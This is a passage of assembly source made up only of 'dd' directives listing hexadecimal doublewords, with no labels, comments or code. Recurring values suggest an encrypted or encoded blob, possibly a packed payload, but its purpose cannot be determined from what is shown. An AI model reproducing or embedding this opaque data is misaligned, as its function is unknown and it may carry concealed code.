		dd 0A2C1F388h, 0C59985CFh, 15662ADBh, 0F43C7B32h, 0A9B07409h
		dd 77E3CDEAh, 75603597h, 45B59A54h, 15669CDBh, 68108C32h
		dd 1E7A8E0Ah, 0DAC821A8h, 8FC5F782h, 55B7032Ah,	75077AE7h
		dd 1563F862h, 0FC378832h, 4D40ACF1h, 0D307E9B9h, 545F4B7h
		dd 7593CE34h, 156641DBh, 65F55D32h, 58F5CDAh, 0C3668832h
		dd 29289CA3h, 581C7013h, 3007C30h, 7455598Ah, 0CB60505Ah
		dd 4A304288h, 74AC9A54h, 1FF3DCDh, 95064222h, 0AC00BDF4h
		dd 9807C7E3h, 55CBAB7h,	45DF2434h, 1A2310ABh, 156617B1h
		dd 15EF8732h, 74664432h, 1A8FF2CDh, 72661132h, 2F33D916h
		dd 5546A68Dh, 0CECEE478h, 90EF5364h, 13712D58h,	0AB9CCF52h
		dd 5A2A0FE8h, 0F0E3D753h, 52609811h, 51C2CCBh, 1A06A3EEh
		dd 156614BDh, 0CDE7EE32h, 9400FCD7h, 749CDEE1h,	1FFA4CDh
		dd 0FC068E22h, 15664438h, 317B43F4h, 0D738CDA5h, 9169F6E7h
		dd 15664430h, 98077861h, 55C23B7h, 15616134h, 10314432h
		dd 0B5C3CC73h, 75B6EE0Dh, 9C0776B9h, 2C336B7h, 90A0DE34h
		dd 137632D7h, 15606175h, 1E284432h, 9B129D8Eh, 92E8BD5Ah
		dd 1FE987DDh, 75664432h, 9E694352h, 15661132h, 8CD37753h
		dd 75605426h, 15662BDBh, 0EFD0B732h, 0F853F9EAh, 57DE1572h
		dd 747E9FCDh, 1567903Dh, 989F8832h, 55C76B7h, 156ECB34h
		dd 5B621132h, 39E46C82h, 0EA9ED8CDh, 12ED2DE2h,	75661132h
		dd 5A095A8Ch, 90EF252Eh, 13718744h, 0F0E3D7C7h,	52609811h
		dd 156657DBh, 0D7796E32h, 1AD9ACFEh, 0A6FE8C47h, 0EB63B95h
		dd 798D9FD2h, 8FC1C35Ah, 0A106E8E6h, 0E6ED2266h, 1EEC2D53h
		dd 0FD661132h, 15668837h, 2A29459Dh, 75077861h,	6D76D1B3h
		dd 9E008082h, 0A09925CBh, 137636ABh, 15679D3Dh,	989E8832h
		dd 55C76B7h, 1DEC2D34h,	1A661132h, 15668AB7h, 0FC072432h
		dd 1566223Ch, 1CC35018h, 946013D2h, 815725A0h, 0C59987EEh
		dd 0CEE1ECAh, 0FC668832h, 15664426h, 53D2B7Ch, 8BFFF21Fh
		dd 837EEB5Eh, 0CC49DB0Ah, 55996269h, 0B01C94BBh, 58F8E25h
		dd 74664432h, 0F33BA20Ah, 9CB87646h, 3F897CB7h,	0D3969775h
		dd 545C7B7h, 9E695634h,	15668835h, 1567C83Dh, 7D932232h
		dd 0AFA72836h, 1573083Dh, 58F4432h, 9A662232h, 5C2DA33Ch
		dd 39547F45h, 850DBDh, 0E0A62FE9h, 1FFA4CDh, 989E8E22h
		dd 55C76B7h, 13EB2D34h,	75661132h, 0ED96373Dh, 0EDB6BB53h
		dd 0B018A7BBh, 969E1725h, 577498Fh, 90694434h, 15662291h
		dd 1560903Dh, 0E9068832h, 74E5A6B2h, 3683A7F4h,	0FC211722h
		dd 15668820h, 59F00070h, 29EFB5D5h, 881DD9F8h, 0AB1E0625h
		dd 720E46DBh, 1A86501Fh, 156619BAh, 9C69E832h, 15664432h
		dd 8CD3DD53h, 0FC600126h, 1566883Fh, 7F103BEFh,	7579981Dh
		dd 0B85CE2BCh, 7EC8715h, 0FC664432h, 1566223Fh,	2A7A311Ch
		dd 272CCC74h, 38F942B3h, 27E3AF7Ah, 1A600108h, 156684BCh
		dd 13E84B32h, 1A662232h, 156611BCh, 1DE48732h, 1A664432h
		dd 156620BDh, 0EA077132h, 99D7E8E2h, 0EC07AFB8h, 0B0E4A7BBh
		dd 0D39E1725h, 5456DB7h, 93690334h, 1566222Ah, 1568F952h
		dd 1E028832h, 545DF0D0h, 2F10ED76h, 7482F460h, 7407E86Ch
		dd 3CD5F55Ah, 1B8E42BCh, 31661132h, 0BB3F9241h,	12D82AE4h
		dd 0E34DDE2Ch, 0AC0049EEh, 0ED0741BCh, 1FFF1CDh, 188F2422h
		dd 45661132h, 5F93EA89h, 0F405C74Bh, 823B150h, 2F5494BFh
		dd 9E698E22h, 1566442Ah, 1576CA52h, 5D131132h, 0BFC587EFh
		dd 0B5053030h, 9817627Fh, 743DCC2Dh, 108F58CDh,	0CF664432h
		dd 568FF39Ch, 0B0E094BBh, 0D39E8E25h, 545A1B7h,	18F6134h
		dd 13661132h, 7990739Fh, 67DE2549h, 90ABCE0Ch, 0EC6B9B42h
		dd 7D4AD94Fh, 0D5100E95h, 1568AA3Dh, 1C8F1132h,	61668832h
		dd 0C1077B1Fh, 3C815C55h, 1FFA4CDh, 108F8E22h, 69664432h
		dd 0F375E168h, 2F5494BFh, 98698E22h, 15664433h,	0FCB6DDCBh
		dd 1566113Dh, 19E94142h, 804893D5h, 4EA8523Bh, 9C68226Dh
		dd 2C302B7h, 1560AD34h,	2C672232h, 6763EF05h, 36830DF4h
		dd 0EC2A4222h, 730AC95Ah, 0A099E9C9h, 1376A8D7h, 156650DBh
		dd 4E992332h, 615750CCh
		dd 5719019Ah, 0BA5843ACh, 0C7331BCDh, 27E39CC6h, 0ED609808h
		dd 9C9A94CDh, 2C03CB7h,	1574F834h, 7B338832h, 70D55271h
		dd 0F0B66B78h, 2D641748h, 0B156F899h, 3683C1F4h, 75222422h
		dd 15729B3Dh, 1B8E8832h, 65664432h, 0EB52AACCh,	81A34756h
		dd 936B11B2h, 188E1DF3h, 15662232h, 30E22FE8h, 0E759A01Eh
		dd 0CD825208h, 74387B61h, 156601DBh, 18B0932h, 7CEDCE6Ch
		dd 0AAE950C9h, 5CB62C93h, 9B33E06Ch, 0EA93FF41h, 572BB87h
		dd 12EA1E34h, 1A668832h, 156645BFh, 90EBD732h, 13762B00h
		dd 156686DBh, 3BA39432h, 0D4025D69h, 0D385B5DAh, 75617165h
		dd 7531FE80h, 0EA077A53h, 1A9E71E2h, 15668AB1h,	74072432h
		dd 0B0E8A7BBh, 68F1725h, 8C668832h, 60B307B1h, 0AF6A76E0h
		dd 0B56777ECh, 4FFEFD49h, 1A065BC5h, 156626B0h,	3DE7732h
		dd 0FBE7EE05h, 0D307C20Bh, 545C7B7h, 7D9F5234h,	0A9E8E6CEh
		dd 5E04B52h, 0FD662232h, 15661138h, 0C1B47DC8h,	92448E6Ch
		dd 733E8452h, 0FEA9D1B3h, 8CD37753h, 0E0605426h, 2F54A7BFh
		dd 1A8F1722h, 0B1668832h, 1AB5157h, 0B7D544Ch, 50FB201Ah
		dd 0C5999995h, 7380CE52h, 7E86E2B3h, 9AD87153h,	0FD02471Ah
		dd 15664437h, 12465D05h, 9C0749B2h, 2C31AB7h, 1569AD34h
		dd 0EAD42232h, 0FBC17DF0h, 8B556701h, 8C82A34h,	0F0E3E469h
		dd 46600111h, 15776052h, 250B4432h, 44B12229h, 1FA7E774h
		dd 3830B427h, 4ED834ABh, 4AA4A965h, 2BCC7953h, 0EA9A4E22h
		dd 572DD87h, 19E02D34h,	1A661132h, 15668EB6h, 15EA4B32h
		dd 98662232h, 55C23B7h,	15606134h, 0A9684432h, 3B30CD62h
		dd 9969C1CDh, 1566883Ah, 0EBED2252h, 74B0A954h,	0B0F094BBh
		dd 92698E25h, 15664433h, 36D742CEh, 15E21E52h, 74668832h
		dd 0BCDBC753h, 15603200h, 164C953Dh, 75068832h,	43949DB2h
		dd 0AA00436Bh, 0D3079374h, 5456DB7h, 92690234h,	15662225h
		dd 1577923Dh, 198F8832h, 0AA664432h, 8A8783Bh, 16B55909h
		dd 7516CDBEh, 9D7FFD52h, 749E79D2h, 156603DBh, 7F203532h
		dd 0D339CC6Dh, 0C83AD499h, 0F1FF2889h, 745D8ED7h, 83A8755Ah
		dd 14E42DC8h, 0E0661132h, 1FF3DCDh, 94694222h, 1566223Ah
		dd 15649A3Dh, 74068832h, 2F54C1BFh, 1A8F2422h, 6F661132h
		dd 0B4692357h, 6679075Fh, 262F9D95h, 9169C282h,	15668822h
		dd 156CC63Dh, 108F2232h, 8C661132h, 0C88C177Fh,	950694CDh
		dd 9400F8F2h, 74798BC2h, 0B0940DBBh, 198F4225h,	60662232h
		dd 41144FFEh, 0E2D72BDEh, 0D3392F8Eh, 545C7B7h,	0FC9E5734h
		dd 15668838h, 722D6421h, 0DB3C2B8Dh, 0C30E2A2Fh, 1A9A2F08h
		dd 156648B7h, 13EA2D32h, 1A661132h, 156688B0h, 8CD3BB32h
		dd 0FC603226h, 1566113Ch, 0FCF1CF1Ch, 0AF2049EBh, 34BD8B42h
		dd 7506E705h, 652F438Dh, 1C8E2571h, 0E5662232h,	64544BD7h
		dd 9EE5A9DDh, 1566C13Dh, 74392232h, 2F5494BFh, 0AB068E22h
		dd 374D6497h, 21B0A354h, 0C599701Fh, 1567063Dh,	9C9E4432h
		dd 2C020B7h, 90A0E934h,	1376ABD7h, 150EB874h, 1AF4DE96h
		dd 156610B6h, 0EA9E7032h, 572DD87h, 156ECB34h, 67CC1132h
		dd 20E7BBFAh, 90EB03CFh, 13761800h, 156618DBh, 0A67E3E32h
		dd 46170A15h, 0C5992317h, 1AF9A252h, 9C07718Dh,	2C042B7h
		dd 14E42D34h, 0EC661132h, 36830DF4h, 75204222h,	74A9A954h
		dd 0C1297B5Ah, 156961C4h, 25384432h, 7A5C0710h,	3793DB91h
		dd 4815358Ah, 8CD3BB15h, 75603226h, 19DFBB80h, 7403D5D1h
		dd 27E3C9C7h, 75603208h, 0EA07EBB9h, 1FE187E2h,	0FC664432h
		dd 15662237h, 0B15780D3h, 1FE30168h, 0E9605394h, 3683A7F4h
		dd 1A201722h, 15668FB8h, 0A2692432h, 74B894CCh,	0D836F65Ah
		dd 0FC93E8A6h, 15664434h, 36925B97h, 0FC0711B9h, 15668837h
		dd 5E2F63B6h, 8CD3DD8Ch, 75600126h, 2BB3EF8Dh, 0C3E72275h
		dd 1A07046Ah, 156619BAh, 17E68732h, 75664432h, 27E3AF53h
		dd 0E0600108h, 1D8F58CDh, 0A1664432h, 8BC4A078h, 1AF418D5h
		dd 156689B0h, 90EFBC32h, 137187C4h, 0E7E77752h,	0D3073C20h
		dd 545A1B7h, 1C8F6434h,	12661132h, 70622896h, 0E5FC0F87h
		dd 3712195Ah, 0E4ED7183h, 0A0997153h, 137650ABh, 27E3AFCAh
		dd 1A600108h, 156689BAh, 1C8FB832h, 61662232h, 704B3BAFh
		dd 6FDD8036h, 48F94CDh,	0A5662232h, 4F3BDD50h, 34FF9488h
		dd 0A83F6F37h, 1BE651D8h, 0EFE398C7h, 1A609F97h, 156645B5h
		dd 9C69DB32h, 15661124h, 156699DBh, 46725432h, 0BD9C04ACh
		dd 0F47F5F2Dh, 0FB6C880Ah, 90A07F2Ah, 137601D7h, 0B3DC7174h
		dd 0EC1A4BB6h, 0FF8B2C53h, 0EA9FFD4Bh, 5728887h, 4F36E834h
		dd 9807AAB8h, 55C10B7h,	0C599E834h, 64A40852h, 0EBE3CD53h
		dd 0ED603597h, 4A7ACB1h, 1A668E22h, 156618B7h, 0D39ADB32h
		dd 545F4B7h, 7506DB34h,	74B5FB3Dh, 7D07C987h, 0DBD8F16Ch
		dd 15670A3Dh, 0EA934432h, 572BB87h, 188FED34h, 2B668832h
		dd 49CD3078h, 9960752h,	668773DDh, 2F540DBFh, 108F4222h
		dd 0E5662232h, 0EA4403A3h, 730658CDh, 43B9C28Bh, 9BA69D54h
		dd 90EF706Ch, 13712DA8h, 0F0E382C7h, 52603211h,	0E7ED7752h
		dd 0FF2441B3h, 7D0727A8h, 0D2D77CB5h, 156617DBh, 5FB54932h
		dd 0EA08FA45h, 572BB87h, 11EF1E34h, 75668832h, 98072552h
		dd 55C10B7h, 5E71E34h, 0FC668832h, 15664439h, 2104EA89h
		dd 0A676B0DAh, 0ED105F0Dh, 1E8F94CDh, 0A3662232h, 2017C9C8h
		dd 6C37C8DFh, 9169F1CAh, 1566223Dh, 15661BDBh, 6C85C532h
		dd 172AA7F8h, 9C799C84h, 2C38FB7h, 156B6134h, 6CD84432h
		dd 6FCFA36Dh, 0DCF136C0h, 750E5CA6h, 15664BDAh,	0BB4C0632h
		dd 2978D6D3h, 1E50CEA3h, 98EAEFF6h, 753EC4B8h, 156605DAh
		dd 102A9432h, 0A3D6549Ah, 0A482D72Eh, 3DD17DC0h, 0D7BB65B2h
		dd 98691CA0h, 15662232h, 0A8E57053h, 137699F3h,	9CE34B32h
		dd 75662232h, 0DAED4087h, 0F0E34E53h, 52605411h, 6B634ACAh
		dd 0AB06F750h, 5D89A9EAh, 15664ADBh, 14D67332h,	0FA140AF8h
		dd 1CFF3CAAh, 74D5DB9Eh, 1FF97CDh, 75061722h, 18F78B9h
		dd 1664432h, 4C741C72h,	0ADD56A84h, 24C28EF6h, 36552673h
		dd 747C5F4Ah, 74BFAE3Dh, 2F540DBFh, 58F4222h, 0E7662232h
		dd 0B0F0AE3Ch, 0CBAC8AEAh, 85ED5704h, 0EA24169Eh, 156DF8E2h
		dd 84A88832h, 0FA5D7D2h, 7EB68D3Bh, 0B7E39851h,	0E0609F97h
		dd 3683C1F4h, 1A252422h, 156607B8h, 15776132h, 49254432h
		dd 0C20191EAh, 9DCAD59Ch, 3FAE0B0h, 7DE20D54h, 871C2BC4h
		dd 0E6ECE452h, 8CD37753h, 0FC605426h, 1566223Eh, 8E75A38h
		dd 9ECF0836h, 5A455C74h, 1569CA52h, 0E10F1132h,	505F87E1h
		dd 97E06869h, 99CAAAB4h, 4BA19A6Eh, 0D1AF59B3h,	9807365Ah
		dd 55C10B7h, 0C599E434h, 0B3E301CAh, 0EC605397h, 3683A7F4h
		dd 1A251722h, 156684BBh, 13E74B32h, 1A662232h, 156611B9h
		dd 8246E032h, 9269B813h, 15662233h, 8CD3EEC7h, 1A609826h
		dd 15665EB1h, 1E72D32h,	0FC661132h, 1566883Dh, 6753304Eh
		dd 0EBD394Bh, 587E913Fh, 0E09B209Ah, 2F54C1BFh,	0FC062422h
		dd 15661139h, 4CCD5757h, 7CCC9C0Fh, 0AB313096h,	4387E6BAh
		dd 1AB67753h, 15664EBBh, 1563CB32h, 0C71B1132h,	9C921F5Eh
		dd 2C3EEB7h, 11EB2D34h,	75661132h, 96075EB9h, 577858Fh
		dd 90692234h, 15661014h
		dd 15669BDBh, 57BCE832h, 798C6E19h, 145B493Dh, 0E9B240FFh
		dd 1334118Bh, 3683A7F4h, 1A251722h, 15669AB2h, 156BAD32h
		dd 0A8E62232h, 8787E2F9h, 3054EEB3h, 7D8783F8h,	9E668A31h
		dd 156616DBh, 0A0529D32h, 0B2FE1C36h, 1FF97CDh,	73061722h
		dd 980743B9h, 55C76B7h,	34D84234h, 7342D09Ah, 745E1688h
		dd 9C6994CDh, 1566223Eh, 1560933Dh, 99698832h, 15664432h
		dd 0B0D4A7BBh, 0D3931725h, 5456DB7h, 78F0734h, 5662232h
		dd 0D4F387DDh, 0E0D0631Dh, 87F1674h, 8D98221Eh,	23B379AFh
		dd 95696D69h, 1566443Ch, 15662BDBh, 0DA2E6632h,	2A6A2F18h
		dd 0EA9E6E44h, 572BB87h, 156FF834h, 0E6A48832h,	5541217Ch
		dd 980A36F9h, 55C23B7h,	0EA9A7034h, 0F5E724E2h,	3380FB9Bh
		dd 0FC07FEB8h, 15668839h, 894918BAh, 0F4627E1Dh, 9C88810Fh
		dd 2C326B7h, 90692434h,	15662226h, 15661EDBh, 6AE68232h
		dd 137211C1h, 616B6546h, 411813F6h, 156698DBh, 6709A732h
		dd 0ABFAB2E9h, 25252197h, 53BFA823h, 90A025FCh,	137601D7h
		dd 0F40EE471h, 758C2200h, 8F87C560h, 4F01A506h,	156617DAh
		dd 1BA71A32h, 0FC30103Eh, 15662234h, 3687A30Eh,	743F9D14h
		dd 1FFF1CDh, 1F8F2422h,	0BB661132h, 2F38CC78h, 76D26ED8h
		dd 27E3AF52h, 0E9600108h, 156F6152h, 39D94432h,	0BA06A418h
		dd 73595E33h, 0DB7362B3h, 75B6BB53h, 775A118Bh,	0A4D87762h
		dd 90EFE9DAh, 1371E184h, 90A0DBCAh, 137632D7h, 0CEB8771h
		dd 0FC664432h, 15662226h, 997BA8C6h, 681040EDh,	1E7AE80Ah
		dd 0DAC812A8h, 8FC56E82h, 0E4CABF5Ah, 10EB4BB6h, 75662232h
		dd 74A5AE3Dh, 1FF3DCDh,	98934222h, 55C10B7h, 0C599ED34h
		dd 0AFE301CBh, 1A605397h, 156626B2h, 0CDED7132h, 0F0E34E53h
		dd 5A605411h, 0DAD12D52h, 1564973Dh, 4B368832h,	0C10EBC53h
		dd 0FCF117A2h, 1566113Ch, 98820912h, 0E310A7E6h, 37EE6E83h
		dd 9469FAFFh, 15668833h, 8CD3BBC7h, 75603226h, 15E01E52h
		dd 1A668832h, 156644BAh, 0FC064332h, 1566113Ah,	417664E1h
		dd 767F34F8h, 0C8B4638Ch, 0ED07703Fh, 2F540DBFh, 0EA934222h
		dd 14EB2DE2h, 0ED661132h, 0B0D80DBBh, 99694225h, 15662233h
		dd 0FC0671CBh, 15668821h, 0E24EF0EBh, 3C69616Fh, 30B3E2CDh
		dd 0E314E821h, 73BAFD67h, 742E198Ah, 15669A3Dh,	0D3078832h
		dd 545A1B7h, 98696D34h,	1566112Ah, 15669BDBh, 9E6CF332h
		dd 14C197DBh, 652EF325h, 4B4D6C45h, 0D9E22A5h, 7B68205Ah
		dd 0A099E8CBh, 13769CABh, 1572CE3Dh, 0FC062232h, 1566113Fh
		dd 0F7D36AA0h, 45EEFE1Ch, 5F934089h, 90EB704Bh,	1376B200h
		dd 0EDB6BBCBh, 15662CDBh, 9E486432h, 0CD9F669Fh, 59C78814h
		dd 9C7689AAh, 2C3D3B7h,	57D0E834h, 0FAA9C552h, 755255ECh
		dd 0D3077053h, 5456DB7h, 94060934h, 0B28BDBFCh,	94004250h
		dd 4E7B34E0h, 6C2F2C53h, 9569EA05h, 15661135h, 1567053Dh
		dd 0EA934432h, 572BB87h, 90EBE934h, 1376B200h, 4AD82252h
		dd 0E6E7448Ch, 0EA07FDD3h, 90EF7DE2h, 1371E1F8h, 0F0E3E4CAh
		dd 58600111h, 15668FDBh, 0E3961B32h, 0C6F7D149h, 0E22B985Ah
		dd 1BE187EEh, 0FC664432h, 1566223Bh, 84ADFA00h,	45E75C49h
		dd 12EC4B08h, 75662232h, 0CCE64A61h, 0A099E93Fh, 137650ABh
		dd 1567AF3Dh, 98931132h, 55CBAB7h, 0FC362434h, 1566223Eh
		dd 52C96758h, 52F2FAACh, 50270EDFh, 15ED2D6Bh, 74661132h
		dd 976958CDh, 1566442Bh, 156636DBh, 0DB47F132h,	0B0FB5948h
		dd 2ECD55AFh, 585BCEFCh, 0C353B149h, 0D3E30189h, 0E0605397h
		dd 3683A7F4h, 0EC331722h, 0E4BBF5Ah, 14E04BAEh,	0E0662232h
		dd 1FFA4CDh, 1F8F8E22h,	26664432h, 40E24CCEh, 5DC0AF4Dh
		dd 27E305E6h, 0E0605408h, 9C9EF2CDh, 2C3DFB7h, 1C8FE834h
		dd 0E7664432h, 0A9DC5893h, 5AC1126Eh, 1572023Dh, 1A8F4432h
		dd 3F662232h, 9E20ADD6h, 1CA3F537h, 0B107EBF2h,	0FC07D838h
		dd 1566113Fh, 31A65071h, 98E71F3Ah, 676D769Dh, 0F0E3D74Dh
		dd 56609811h, 3F0EBDC7h, 0FCB4F7C2h, 1566113Eh,	9A9AEAB2h
		dd 8DFD26ABh, 0F0D991A2h, 1FFA4CDh, 78F8E22h, 2B664432h
		dd 5AA42A27h, 5AE6AB44h, 1E2B4576h, 7DBD587h, 27E3AF24h
		dd 0FC600108h, 15668826h, 27C24DB3h, 7228A759h,	96E04E7Ah
		dd 4C893134h, 8C2D269Bh, 68FF2CDh, 9C661132h, 183142A7h
		dd 825766B6h, 92C21E11h, 0F9E435F0h, 90EF3103h,	1371E1E0h
		dd 0DCAEA352h, 0FD52B36Ah, 15668839h, 0C2FBFF43h, 0E541B776h
		dd 7374491Ch, 743E70B9h, 3683C1F4h, 75342422h, 1C84E0B3h
		dd 9C698AE3h, 15664436h, 0DAF19954h, 0A18C7953h, 0EA9F7570h
		dd 572DD87h, 1561CB34h,	0A8331132h, 967E2EBCh, 27E3C9C2h
		dd 1A603208h, 15661DB3h, 13EF8732h, 1A664432h, 156622B1h
		dd 0EDB6EE32h, 7CE301CEh, 1A60543Fh, 156631BEh,	1568F832h
		dd 7D5E8832h, 4D594A40h, 6AFEA2BFh, 2F8ED6A9h, 1570083Dh
		dd 9E694432h, 15662222h, 15661ADBh, 0ABF42432h,	0D61DE271h
		dd 632EAAF0h, 368394F4h, 75218E22h, 0FC06ABB8h,	1566223Ah
		dd 57C0796Eh, 58005ACDh, 9E86C554h, 7D074399h, 0F7FE48ABh
		dd 15670E3Dh, 0EA9E4432h, 572BB87h, 90EBE434h, 1376B200h
		dd 1567CC3Dh, 1A932232h, 156616BAh, 14E48732h, 0ED664432h
		dd 128FF2CDh, 9661132h,	0EBE73283h, 90EF0A1Dh, 137187E4h
		dd 0B0859052h, 7469C7E0h, 13EA4B52h, 94662232h,	0D92978D2h
		dd 48FE800h, 0EB664432h, 7399D4BEh, 4AA1C9E2h, 0B9C99D3Dh
		dd 7865C6F7h, 15662BDAh, 9FDF6A32h, 5352983Eh, 743ED181h
		dd 0F0E3E453h, 52600111h, 75A4E0CEh, 0ED06F5CFh, 4290A354h
		dd 0A0997016h, 13769CABh, 157CCD3Dh, 75062232h,	1576F953h
		dd 94B98832h, 0BF276D1Bh, 0D8C74D9Ah, 0D0CB91DAh, 74385C4Bh
		dd 2F54C1BFh, 94062422h, 0CB6211D3h, 156F6141h,	79434432h
		dd 1218A5A2h, 74F28A6Ch, 936958CDh, 1566443Eh, 1560A53Dh
		dd 92691132h, 15668832h, 0B0BCC1BBh, 1F8F2425h,	0F3661132h
		dd 0C731910Eh, 0C2B4F27Ch, 0F0E3E441h, 52600111h, 0EB72E0CAh
		dd 9F699B94h, 15662233h, 8CD3EECAh, 0FC609826h,	15664434h
		dd 81EB0691h, 90EB6BBAh, 1376B200h, 156EC53Dh, 96692232h
		dd 15661130h, 0C599E952h, 90EFB8CAh, 137187ECh,	156600DBh
		dd 0CB045232h, 0B99C26ECh, 37949554h, 0B08B492Dh, 90A0775Fh
		dd 137667D7h, 0D7E7426Dh, 57DB8B7Ch, 749C373Dh,	45942C5Ah
		dd 7306D7ACh, 0FC4B8D8Bh, 15668835h, 1DB8C0CBh,	74A7C677h
		dd 1FFA4CDh, 9E698E22h,	15664439h, 0FBA5A352h, 7330879Bh
		dd 98077BB9h, 55C76B7h,	78FDB34h, 0C6661132h, 95386264h
		dd 0F0922F31h, 747EC664h, 57BA40Dh, 75B6776Dh, 9400B4B8h
		dd 74B947DDh, 0B08494BBh, 9A698E25h, 15664433h,	0CEE2DCEh
		dd 0FC661132h, 15668826h, 9AEDA42Bh, 0FA24948Ch, 0FE483DAh
		dd 741F5040h, 648C8F7Ch, 3683A7F4h, 0FC291722h,	15668823h
		dd 538A0DACh, 0B9F5B909h, 0BE7441DBh, 2B6DE8F0h, 6E592C79h
		dd 0EA9AE5CEh, 5728887h, 156D6134h, 0B23D4432h,	54C90265h
		dd 46CF29C2h, 27E305EFh, 0EC605408h, 75B6DDCBh,	156618DAh
		dd 9B63CA32h, 4335ACCh,	74068E21h, 3E51E69h, 0FC668832h
		dd 15664423h, 1CBD7380h, 9F6AD53Ch, 90F9A6B3h, 5EE7B538h
		dd 90EF43C4h, 1371B73Ch
		dd 1561073Dh, 9D694432h, 15662233h, 0F0E3D7CEh,	52609811h
		dd 156EC53Dh, 95062232h, 0F6E6E5F5h, 590EE94Fh,	759C1F5Ch
		dd 15662ADBh, 0B0A95832h, 0F0E70B45h, 14EE4B63h, 0E9662232h
		dd 8CD3EE53h, 0FC609826h, 1566443Dh, 0F917D368h, 0A479403Ch
		dd 0BFD72409h, 9889DE4Ah, 55C10B7h, 0C599E934h,	156683DBh
		dd 2CDE932h, 0AB5A62Eh,	159F17F1h, 0B3740DBBh, 9B694225h
		dd 15662223h, 15661DDBh, 76842032h, 4D853244h, 62D2BC83h
		dd 0F0E3D74Ah, 52609811h, 0F3E72252h, 976969B4h, 15661130h
		dd 0FC074EB9h, 15664435h, 0A7D43DCEh, 7DB748F5h, 0D660ACFFh
		dd 15664DDBh, 0D5103732h, 3912A20h, 90690C6Dh, 15664436h
		dd 74B5A852h, 1FFA4CDh,	1A938E22h, 156643B2h, 14ED2D32h
		dd 0E0661132h, 2F540DBFh, 99694222h, 1566223Eh,	86DF7752h
		dd 0F0AC091Eh, 741B74AFh, 9C93F2CDh, 2C007B7h, 19E98734h
		dd 75664432h, 66D0228Dh, 99E3A84Bh, 0D3078824h,	545A1B7h
		dd 99697D34h, 15661135h, 15670D3Dh, 7D9E4432h, 0C1DD42FEh
		dd 1575F852h, 0B59E8832h, 82F4233Ah, 33CA98B8h,	186C781Ah
		dd 1BB6C44Bh, 0AF06259Fh, 2AF57212h, 74B8AE3Dh,	1FF3DCDh
		dd 0EC064222h, 15E12D61h, 4E661132h, 1DEA8753h,	1A664432h
		dd 156620B8h, 98077132h, 55CBAB7h, 156FAD34h, 93DD2232h
		dd 8F5056E5h, 0EA658ECFh, 1561ADE2h, 2EA52232h,	61EB9554h
		dd 0F3E30176h, 0ED605397h, 3683A7F4h, 0E0391722h, 0FC32C65Ah
		dd 9669B1ACh, 1566223Ah, 1564983Dh, 74068832h, 1FFF1CDh
		dd 44062422h, 15669E3Dh, 733C8832h, 980782B9h, 55C10B7h
		dd 0AB007134h, 0EA077B06h, 936924E2h, 15662232h, 6BBC4389h
		dd 90EFE964h, 1371E1D8h, 90A0D7CEh, 137632D7h, 198FE86Dh
		dd 4D664432h, 0BD2F50D7h, 5116CEB6h, 1A1A77FEh,	156647B5h
		dd 0C3D92D32h, 3D2E7953h, 0EA935921h, 572DD87h,	9E004234h
		dd 90EB70C8h, 1376B200h, 156657DBh, 0A14E0932h,	727AF9DBh
		dd 174B0184h, 0E6AEF6BFh, 10B7907Eh, 9F69C1CDh,	1566883Dh
		dd 15664EDBh, 3F9CBA32h, 33637B16h, 9CADEFE5h, 2C3AAB7h
		dd 156ACB34h, 54C61132h, 0BFD21B71h, 58B2939Fh,	110CB21Eh
		dd 0EA89052h, 9E292F6Bh, 420625F1h, 1566A63Dh, 0FC3E1132h
		dd 1566883Eh, 30817EDFh, 3230441Fh, 9B3951C9h, 566E053h
		dd 188F4432h, 0D5662232h, 0F2695086h, 0E1E04E52h, 12806A24h
		dd 156EAB3Dh, 73061132h, 7505A48Bh, 150E2553h, 0ED662222h
		dd 0EA931158h, 57AEDA7h, 75362434h, 1F8E7A53h, 35661132h
		dd 0BA32BB1Fh, 8C77FF07h, 156BCBBEh, 69B21132h,	9701B07Ch
		dd 0F389A46Fh, 4F7FB144h, 12ED1E53h, 1A668832h,	156645BDh
		dd 90EFDB32h, 1376219Bh, 157E0A3Dh, 68F4432h, 36662232h
		dd 0D543A147h, 0F1A61099h, 97BB69E0h, 0F9252E19h, 90EB8452h
		dd 1371D6F0h, 0D6ED2252h, 0EA072281h, 1576F8E2h, 0A9348832h
		dd 0ED891606h, 0A5247369h, 9485849Ah, 110CDB77h, 5662CC7h
		dd 9F692232h, 15661124h, 156699DBh, 1478D632h, 0DE24981Ah
		dd 0FAF6F5BCh, 46A9CF24h, 150EEED9h, 0EC662212h, 95691158h
		dd 1566882Bh, 156650DBh, 69ABAF32h, 79A90B83h, 0DFBCECB0h
		dd 0EB2E44B4h, 470B1422h, 70F3EE7Ch, 0ED60982Eh, 1F43C1BBh
		dd 1A8F2422h, 0CD661132h, 462AAA33h, 0E670C724h, 684E2870h
		dd 90EF9EF8h, 137683A7h, 0E0262ECBh, 1576225Ah,	1575F832h
		dd 0ACDE8832h, 0CB4D20ABh, 0A513297h, 4596B835h, 191DA101h
		dd 15662C81h, 1A062233h, 156613B9h, 1A3FD832h, 156647BCh
		dd 1B8A232h, 0EC667B53h, 9031DCDh, 0FD064222h, 1566223Eh
		dd 3494B5FBh, 0DEBBA49Ah, 0BC02A361h, 8DA8A354h, 0F3E7484Ah
		dd 4824672Eh, 6CE3CD53h, 0FC603220h, 1566113Ch,	0B2D615Bh
		dd 9BF5F9AAh, 259045EEh, 0A0EDDCB8h, 1376A7F7h,	156CAD52h
		dd 82632232h, 0ACAA0FE5h, 2EC82CB7h, 156DAC62h,	37CA2232h
		dd 0A455697Bh, 390FEAD5h, 743F1B9Eh, 14FBA9CAh,	1A60011Dh
		dd 156689BDh, 0A0EFB832h, 13762D23h, 15661FDBh,	84AAFE32h
		dd 0CEAE6EC4h, 4360F404h, 9C3C85B5h, 57651AFh, 19E94B34h
		dd 1A662232h, 156617B8h, 15EE8732h, 9E664432h, 54923AFh
		dd 14E91E34h, 0E0668832h, 21E777CDh, 96362B16h,	316A9A36h
		dd 15624CB3h, 0E4E74432h, 11E5723Bh, 1561963Dh,	95698832h
		dd 15664433h, 159FA1CAh, 2C56953Dh, 45068832h, 733F1E60h
		dd 7D07E0B9h, 15667C75h, 1A428CBBh, 156647B5h, 749E4232h
		dd 1561705Ah, 316A0132h, 156641DBh, 302DEC32h, 7506713Bh
		dd 0D66357B3h, 0D2E73A0Ch, 6BC01014h, 1AA62053h, 156680B3h
		dd 0AF002432h, 25D06CEEh, 60E39853h, 0E9609826h, 18632C61h
		dd 9ED4ED9h, 11A29016h,	5E668832h, 0DC8DC571h, 9C0AC93Eh
		dd 94694AECh, 1566883Bh, 0DBE72252h, 2ED2A582h,	0A833E953h
